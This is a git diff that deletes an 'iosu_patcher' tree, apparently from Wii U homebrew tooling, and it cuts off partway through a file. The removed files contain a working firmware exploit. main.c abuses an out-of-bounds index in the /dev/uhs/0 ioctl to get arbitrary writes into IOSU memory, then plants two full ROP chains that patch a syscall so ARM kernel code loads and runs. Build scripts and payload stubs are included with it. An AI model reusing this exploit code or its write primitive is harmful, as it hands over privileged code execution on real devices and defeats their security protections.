((void *(*)(void*, int, unsigned int))0x08131DA0) -#define kernel_strncpy ((char *(*)(char*, const char*, unsigned int))0x081329B8) -#define disable_interrupts ((int(*)())0x0812E778) -#define enable_interrupts ((int(*)(int))0x0812E78C) -#define kernel_bsp_command_5 ((int (*)(const char*, int offset, const char*, int size, void *buffer))0x0812EC40) - -#define crypto_phys(addr) ((u32)(addr) - 0x04000000 + 0x08280000) -#define mcp_phys(addr) ((u32)(addr) - 0x05000000 + 0x081C0000) -#define mcp_rodata_phys(addr) ((u32)(addr) - 0x05060000 + 0x08220000) -#define mcp_data_phys(addr) ((u32)(addr) - 0x05074000 + 0x08234000) -#define mcp_d_r_phys(addr) ((u32)(addr) - 0x05100000 + 0x13D80000) -#define kernel_phys(addr) ((u32)(addr)) //just here for completion -#define acp_phys(addr) ((u32)(addr) - 0xE0000000 + 0x12900000) - -void reverse_memcpy(void* dest, const void* src, unsigned int size); -unsigned int disable_mmu(void); -void restore_mmu(unsigned int control_register); - -#endif diff --git a/dsrom/iosu_patcher/arm_user/Makefile b/dsrom/iosu_patcher/arm_user/Makefile deleted file mode 100644 index 54df575..0000000 --- a/dsrom/iosu_patcher/arm_user/Makefile +++ /dev/null @@ -1,71 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.bin) -OFILES = $(BINFILES:data/%.bin=build/%.bin.o) -OFILES += $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES)) - -clean: - @rm -rf build - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/arm_user/link.ld b/dsrom/iosu_patcher/arm_user/link.ld deleted file mode 100644 index 5408355..0000000 --- a/dsrom/iosu_patcher/arm_user/link.ld +++ /dev/null @@ -1,18 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00 -} - -SECTIONS -{ - .text : ALIGN(0x04) { - build/crt0.o(.init) - *(.text) - } - .rodata : { - *(.rodata*) - } -} - diff --git a/dsrom/iosu_patcher/arm_user/source/crt0.s b/dsrom/iosu_patcher/arm_user/source/crt0.s deleted file mode 100644 index b5608cd..0000000 --- a/dsrom/iosu_patcher/arm_user/source/crt0.s +++ /dev/null @@ -1,20 +0,0 @@ -.section ".init" -.arm -.align 4 - -.extern _main -.type _main, %function - -.extern memset -.type memset, %function - -_start: - b _main - - .global IOS_DCFlushAllCache -IOS_DCFlushAllCache: - MOV R15, R0 -clean_loop: - MRC p15, 0, r15, c7, c10, 3 - BNE clean_loop - MCR p15, 0, R0, c7, c10, 4 diff --git a/dsrom/iosu_patcher/arm_user/source/main.c b/dsrom/iosu_patcher/arm_user/source/main.c deleted file mode 100644 index 6f90ca5..0000000 --- a/dsrom/iosu_patcher/arm_user/source/main.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "types.h" -#include "utils.h" - - -void _main() -{ - - void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; - - int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; - - int saved_handle = *(volatile u32*)0x01E10000; - int myret = reply(saved_handle, 0); - if (myret != 0) - ios_shutdown(1); - - // stack pointer will be 0x1016AE30 - // link register will be 0x1012EACC - asm("LDR SP, newsp\n" - "LDR R0, newr0\n" - "LDR LR, newlr\n" - "LDR PC, newpc\n" - "newsp: .word 0x1016AE30\n" - "newlr: .word 0x1012EACC\n" - "newr0: .word 0x10146080\n" - "newpc: .word 0x10111164\n"); - - - -} diff --git a/dsrom/iosu_patcher/arm_user/source/types.h b/dsrom/iosu_patcher/arm_user/source/types.h deleted file mode 100644 index 5d8eced..0000000 --- a/dsrom/iosu_patcher/arm_user/source/types.h +++ /dev/null @@ -1,16 +0,0 @@ -#ifndef _TYPES_H -#define _TYPES_H - -#include - -typedef uint8_t u8; -typedef uint16_t u16; -typedef uint32_t u32; -typedef uint64_t u64; - -typedef int8_t s8; -typedef int16_t s16; -typedef int32_t s32; -typedef int64_t s64; - -#endif diff --git a/dsrom/iosu_patcher/arm_user/source/utils.c b/dsrom/iosu_patcher/arm_user/source/utils.c deleted file mode 100644 index f02ae47..0000000 --- a/dsrom/iosu_patcher/arm_user/source/utils.c +++ /dev/null @@ -1,25 +0,0 @@ - -void* m_memcpy(void *dst, const void *src, unsigned int len) -{ - const unsigned char *src_ptr = (const unsigned char *)src; - unsigned char *dst_ptr = (unsigned char *)dst; - - while(len) - { - *dst_ptr++ = *src_ptr++; - --len; - } - return dst; -} - -void* m_memset(void *dst, int val, unsigned int bytes) -{ - unsigned char *dst_ptr = (unsigned char *)dst; - unsigned int i = 0; - while(i < bytes) - { - dst_ptr[i] = val; - ++i; - } - return dst; -} diff --git a/dsrom/iosu_patcher/arm_user/source/utils.h b/dsrom/iosu_patcher/arm_user/source/utils.h deleted file mode 100644 index fd41db2..0000000 --- a/dsrom/iosu_patcher/arm_user/source/utils.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef _UTILS_H_ -#define _UTILS_H_ - -void* m_memcpy(void *dst, const void *src, unsigned int len); -void* m_memset(void *dst, int val, unsigned int len); - -#endif diff --git a/dsrom/iosu_patcher/coreinit.h b/dsrom/iosu_patcher/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/iosu_patcher/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/iosu_patcher/crt0.S b/dsrom/iosu_patcher/crt0.S deleted file mode 100644 index 4c5415a..0000000 --- a/dsrom/iosu_patcher/crt0.S +++ /dev/null @@ -1,6 +0,0 @@ - - .extern patch_iosu - .globl _start - -_start: - b patch_iosu diff --git a/dsrom/iosu_patcher/main.c b/dsrom/iosu_patcher/main.c deleted file mode 100644 index a4861c3..0000000 --- a/dsrom/iosu_patcher/main.c +++ /dev/null @@ -1,388 +0,0 @@ -/* - * Copyright (C) 2016 FIX94 - * - * This software may be modified and distributed under the terms - * of the MIT license. See the LICENSE file for details. - */ -#include -#include "types.h" -#include "coreinit.h" -#include "../global.h" - -#define CHAIN_START 0x1016AD40 -#define SHUTDOWN 0x1012EE4C -#define SIMPLE_RETURN 0x101014E4 -#define SOURCE 0x01E20000 -#define IOS_CREATETHREAD 0x1012EABC -#define ARM_CODE_BASE 0x08135000 -#define REPLACE_SYSCALL 0x081298BC - -/* YOUR ARM CODE HERE (starts at ARM_CODE_BASE) */ -#include "payload/arm_kernel_bin.h" -#include "payload/arm_user_bin.h" - -static void uhs_exploit_init(unsigned int coreinit_handle); -static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val); - -void patch_iosu(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) -{ - unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp); - OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId); - unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0); - - unsigned long long(*OSGetTitleID)(); - OSDynLoad_FindExport(coreinit_handle, 0, "OSGetTitleID", &OSGetTitleID); - unsigned int dsvcid = (unsigned int)(OSGetTitleID(0) & 0xFFFFFFFF); - - void (*DCStoreRange)(const void *addr, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - memcpy((void*)0xF5E70100, &sysmenu, 8); - *(volatile unsigned int*)0xF5E70108 = dsvcid; - *(volatile unsigned int*)0xF5E7010C = launchmode; - *(volatile unsigned int*)0xF5E70110 = from_cbhc; - DCStoreRange((void*)0xF5E70100, 0x20); - - int (*IOS_Open)(char *path, unsigned int mode); - int (*IOS_Close)(int fd); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close); - - int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node - uhs_exploit_init(coreinit_handle); //! Init variables for the exploit - - //!------ROP CHAIN------- - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C); - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE); - - uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC} - - IOS_Close(dev_uhs_0_handle); -} - -/* ROP CHAIN STARTS HERE (0x1015BD78) */ -static const int final_chain[] = { - 0x101236f3, // 0x00 POP {R1-R7,PC} - 0x0, // 0x04 arg - 0x0812974C, // 0x08 stackptr CMP R3, #1; STREQ R1, [R12]; BX LR - 0x68, // 0x0C stacksize - 0x10101638, // 0x10 - 0x0, // 0x14 - 0x0, // 0x18 - 0x0, // 0x1C - 0x1010388C, // 0x20 CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x1012CFEC, // 0x2C MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x30 - 0x0, // 0x34 - IOS_CREATETHREAD, // 0x38 - 0x1, // 0x3C - 0x2, // 0x40 - 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE92D4010, // 0x4C value: PUSH {R4,LR} - 0x0, // 0x50 - 0x10123a8b, // 0x54 POP {R3,R4,PC} - 0x1, // 0x58 R3 must be 1 for the arbitrary write - 0x0, // 0x5C - 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x64 - 0x0, // 0x68 - 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) - 0x0, // 0x70 - 0x0, // 0x74 - 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A04000, // 0x80 value: MOV R4, R0 - 0x0, // 0x84 - 0x10123a8b, // 0x88 POP {R3,R4,PC} - 0x1, // 0x8C R3 must be 1 for the arbitrary write - 0x0, // 0x90 - 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x98 - 0x0, // 0x9C - 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) - 0x0, // 0xA4 - 0x0, // 0xA8 - 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF - 0x0, // 0xB8 - 0x10123a8b, // 0xBC POP {R3,R4,PC} - 0x1, // 0xC0 R3 must be 1 for the arbitrary write - 0x0, // 0xC4 - 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0xCC - 0x0, // 0xD0 - 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) - 0x0, // 0xD8 - 0x0, // 0xDC - 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) - 0x0, // 0xEC - 0x10123a8b, // 0xF0 POP {R3,R4,PC} - 0x1, // 0xF4 R3 must be 1 for the arbitrary write - 0x0, // 0xF8 - 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x100 - 0x0, // 0x104 - 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) - 0x0, // 0x10C - 0x0, // 0x110 - 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A00004, // 0x11C value: MOV R0, R4 - 0x0, // 0x120 - 0x10123a8b, // 0x124 POP {R3,R4,PC} - 0x1, // 0x128 R3 must be 1 for the arbitrary write - 0x0, // 0x12C - 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x134 - 0x0, // 0x138 - 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) - 0x0, // 0x140 - 0x0, // 0x144 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x00000000, // 0x150 value: NOP - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0x1AFFFFFD, // 0x150 value: BNE clean_loop - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 - 0x0, // 0x154 - 0x10123a8b, // 0x158 POP {R3,R4,PC} - 0x1, // 0x15C R3 must be 1 for the arbitrary write - 0x0, // 0x160 - 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x168 - 0x0, // 0x16C - 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) - 0x0, // 0x174 - 0x0, // 0x178 - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE1A03004, // 0x184 value: MOV R3, R4 - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE8BD4010, // 0x184 value: POP {R4,LR} - 0x0, // 0x188 - 0x10123a8b, // 0x18C POP {R3,R4,PC} - 0x1, // 0x190 R3 must be 1 for the arbitrary write - 0x0, // 0x194 - 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x19C - 0x0, // 0x1A0 - 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) - 0x0, // 0x1A8 - 0x0, // 0x1AC - 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} - REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) - 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) - 0x0, // 0x1BC - 0x10123a8b, // 0x1C0 POP {R3,R4,PC} - 0x1, // 0x1C4 R3 must be 1 for the arbitrary write - 0x0, // 0x1C8 - 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x1D0 - 0x0, // 0x1D4 - 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 - 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches - 0x0, // 0x1E0 - 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) - 0x0, // 0x1DC - 0x0, // 0x1E0 - 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} - ARM_CODE_BASE, // 0x1E8 our code destination address - 0x0, // 0x1EC - 0x0, // 0x1F0 - 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} - 0x0, // 0x1F8 - sizeof(arm_kernel_bin), // 0x1FC our code size - 0x0, // 0x200 - 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} - 0x01E40000, // 0x208 our code source location - 0x08131D04, // 0x20C KERNEL_MEMCPY address - 0x0, // 0x210 - 0x0, // 0x214 - 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) - 0x0, - 0x0, - 0x101312D0, -}; - -static const int second_chain[] = { - 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} - CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination - 0x0, // 0x08 - 0x0, // 0x0C - 0x101063db, // 0x10 POP {R1,R2,R5,PC} - 0x01E30000, // 0x14 source - sizeof(final_chain), // 0x18 length - 0x0, // 0x1C - 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x24 - 0x0, // 0x28 - 0x101236f3, // 0x2C POP {R1-R7,PC} - 0x0, // 0x30 arg - 0x101001DC, // 0x34 stackptr - 0x68, // 0x38 stacksize - 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} - 0x0, // 0x40 - 0x0, // 0x44 - 0x0, // 0x48 - 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} - 0x0, // 0x50 - 0x0, // 0x54 - 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} - 0x0, // 0x5C - 0x0, // 0x60 - IOS_CREATETHREAD, // 0x64 - 0x1, // 0x68 priority - 0x2, // 0x6C flags - 0x0, // 0x70 - 0x0, // 0x74 - 0x101063db, // 0x78 POP {R1,R2,R5,PC} - 0x0, // 0x7C - -(0x240 + 0x18 + 0xF000), // 0x80 stack offset - 0x0, // 0x84 - 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} - 0x0, - 0x0, - 0x0, - 0x00110000 - 0x44, // 0x8C - 0x00110010, // 0x90 - 0x0, // 0x94 - 0x0, // 0x98 - 0x0, // 0x9C - 0x0, // 0xA0 - 0x0, // 0xA4 - 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack - 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} - 0x0, - 0x0, - 0x1012EA68, // 0xAC stack pivot -}; - -static void uhs_exploit_init(unsigned int coreinit_handle) -{ - void (*DCStoreRange)(const void *addr, uint32_t length); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - - //! Clear out our used MEM1 area - memset((void*)0xF5E00000, 0, 0x00070000); - DCStoreRange((void*)0xF5E00000, 0x00070000); - - //!------Variables used in exploit------ - int *pretend_root_hub = (int*)0xF5E60640; - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[5] = 1; - ayylmao[8] = 0x1E00000; - - memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); - memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); - memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); - memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); - - pretend_root_hub[33] = 0x1E00000; - pretend_root_hub[78] = 0; - - //! Store current CPU cache into main memory for IOSU to read - DCStoreRange(ayylmao, 0x840); - - DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); - DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); - DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); - DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); - - DCStoreRange(pretend_root_hub, 0x160); -} - -static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val) -{ - void (*DCStoreRange)(const void *addr, uint32_t length); - void (*OSSleepTicks)(uint64_t ticks); - int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len); - OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks); - OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl); - - //!------Variables used in exploit------ - int *ayylmao = (int*)0xF5E00000; - //!------------------------------------- - - ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes - DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read - OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU - //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, - //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 - int request_buffer[] = { -(0xB349B), val }; - int output_buffer[32]; - return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); -} diff --git a/dsrom/iosu_patcher/titleprot/Makefile b/dsrom/iosu_patcher/titleprot/Makefile deleted file mode 100644 index 78d3ea0..0000000 --- a/dsrom/iosu_patcher/titleprot/Makefile +++ /dev/null @@ -1,76 +0,0 @@ -ifeq ($(strip $(DEVKITARM)),) -$(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") -endif - -ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),) -export PATH:=$(DEVKITARM)/bin:$(PATH) -endif - -CC = arm-none-eabi-gcc -# LINK = arm-none-eabi-gcc -LINK = arm-none-eabi-ld -AS = arm-none-eabi-as -OBJCOPY = arm-none-eabi-objcopy -CFLAGS += -Wall -mbig-endian -std=c99 -mcpu=arm926ej-s -Os -s -mthumb -I$(DEVKITPRO)/libnds/include -LDFLAGS += --script=ccd00.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" - -CFILES = $(wildcard source/*.c) -BINFILES = $(wildcard data/*.*) -OFILES = $(CFILES:source/%.c=build/%.o) -DFILES = $(CFILES:source/%.c=build/%.d) -SFILES = $(wildcard source/*.s) -OFILES += $(SFILES:source/%.s=build/%.o) -OFILES += $(BINFILES:data/%=build/%.o) -PROJECTNAME = ${shell basename "$(CURDIR)"} -CWD = "$(CURDIR)"" - -#--------------------------------------------------------------------------------- -# canned command sequence for binary data, taken from devkitARM -#--------------------------------------------------------------------------------- -define bin2o - bin2s $< | $(AS) -o $(@) - echo "extern const u8" `(echo $( source/`(echo $(> source/`(echo $(> source/`(echo $( $@ - -$(PROJECTNAME).elf: $(OFILES) - $(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(sort $(filter-out build/crt0.o, $(OFILES))) - -clean: - @rm -f build/*.o build/*.d - @rmdir build 2>/nul; true - @rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h - @echo "all cleaned up !" - --include $(DFILES) - -build/%.o: source/%.c - $(CC) $(CFLAGS) -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.o: source/%.s - $(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@ - @$(CC) -MM $< > build/$*.d - -build/%.bin.o: data/%.bin - @echo $(notdir $<) - @$(bin2o) - -build/%.tga.o: data/%.tga - @echo $(notdir $<) - @$(bin2o) diff --git a/dsrom/iosu_patcher/titleprot/ccd00.ld b/dsrom/iosu_patcher/titleprot/ccd00.ld deleted file mode 100644 index 3842207..0000000 --- a/dsrom/iosu_patcher/titleprot/ccd00.ld +++ /dev/null @@ -1,16 +0,0 @@ -OUTPUT_ARCH(arm) - -MEMORY -{ - RAMX (rx) : ORIGIN = 0x0510D988, LENGTH = 0x0000024 -} - -SECTIONS -{ - .text : { - build/crt0.o(.init) - *(.text) - *(.rodata) - } -} - diff --git a/dsrom/iosu_patcher/titleprot/ccd00.specs b/dsrom/iosu_patcher/titleprot/ccd00.specs deleted file mode 100644 index ccff243..0000000 --- a/dsrom/iosu_patcher/titleprot/ccd00.specs +++ /dev/null @@ -1,4 +0,0 @@ -%rename link old_link - -*link: -%(old_link) -T ./ccd00.ld%s diff --git a/dsrom/iosu_patcher/titleprot/source/crt0.s b/dsrom/iosu_patcher/titleprot/source/crt0.s deleted file mode 100644 index 8efde36..0000000 --- a/dsrom/iosu_patcher/titleprot/source/crt0.s +++ /dev/null @@ -1,23 +0,0 @@ -.section ".init" -.thumb -.syntax unified - -.globl _start - -_start: - ldr r0, =#0x00050000 - cmp r0, r1 - bne nomatch - ldr r0, =#0x00000000 @will be written in by CBHC - 